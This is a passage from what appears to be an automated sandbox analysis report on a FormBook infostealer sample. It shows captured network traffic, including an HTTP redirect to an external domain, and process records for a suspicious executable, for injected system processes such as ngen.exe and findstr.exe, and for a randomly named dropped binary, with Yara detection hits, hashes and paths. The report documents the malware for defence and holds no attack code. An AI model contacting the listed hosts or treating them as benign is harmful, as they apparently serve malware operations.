59 66 76 37 70 54 74 54 46 4e 56 62 69 67 4e 70 55 7a 33 50 4d 6b 53 61 49 34 57 2b 39 6b 62 62 34 67 39 6a 75 4f 30 4c 69 46 32 69 6c 53 30 76 77 4f 58 54 50 32 44 5a 32 44 76 33 38 39 59 57 4a 36 38 2f 74 70 61 37 64 4e 38 62 41 53 6c 78 51 57 46 50 48 43 6c 53 4c 49 4b 65 62 77 78 64 38 38 41 75 66 42 42 55 6e 36 71 41 55 31 6c 38 39 4b 61 6c 44 55 63 37 66 36 35 35 64 45 42 4c 68 77 37 57 45 6f 5a 57 44 39 54 59 39 66 41 47 6b 48 72 75 75 77 59 48 31 6d 7a 52 51 4e 74 54 63 Data Ascii: k06T=3/Wb1KmkdWhAWIB2vt8mTSUmd8fTTXabA2WCiYiMWjaRkomlD0B64Sb+9gAYfv7pTtTFNVbigNpUz3PMkSaI4W+9kbb4g9juO0LiF2ilS0vwOXTP2DZ2Dv389YWJ68/tpa7dN8bASlxQWFPHClSLIKebwxd88AufBBUn6qAU1l89KalDUc7f655dEBLhw7WEoZWD9TY9fAGkHruuwYH1mzRQNtTc
Jul 3, 2024 16:41:57.469104052 CEST	466	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:41:57 GMT Server: Apache Location: https://www.lavillitadepapa.com/i1fz/ Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 61 76 69 6c 6c 69 74 61 64 65 70 61 70 61 2e 63 6f 6d 2f 69 31 66 7a 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.lavillitadepapa.com/i1fz/">here</a>.</p></body></html>

Target ID:	0
Start time:	10:38:50
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\GJRX21GBj3.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\GJRX21GBj3.exe"
Imagebase:	0x7ff658550000
File size:	1'951'744 bytes
MD5 hash:	804CC1B2769F38027FD2C2BF8141013B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	10:38:50
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	10:38:51
Start date:	03/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	10:38:51
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
Imagebase:	0xd80000
File size:	144'344 bytes
MD5 hash:	417D6EA61C097F8DF6FEF2A57F9692DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	10:39:05
Start date:	03/07/2024
Path:	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe"
Imagebase:	0xdf0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	10:39:07
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\findstr.exe"
Imagebase:	0x190000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	8
Start time:	10:39:20
Start date:	03/07/2024
Path:	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe"
Imagebase:	0xdf0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	10:39:36
Start date:	03/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true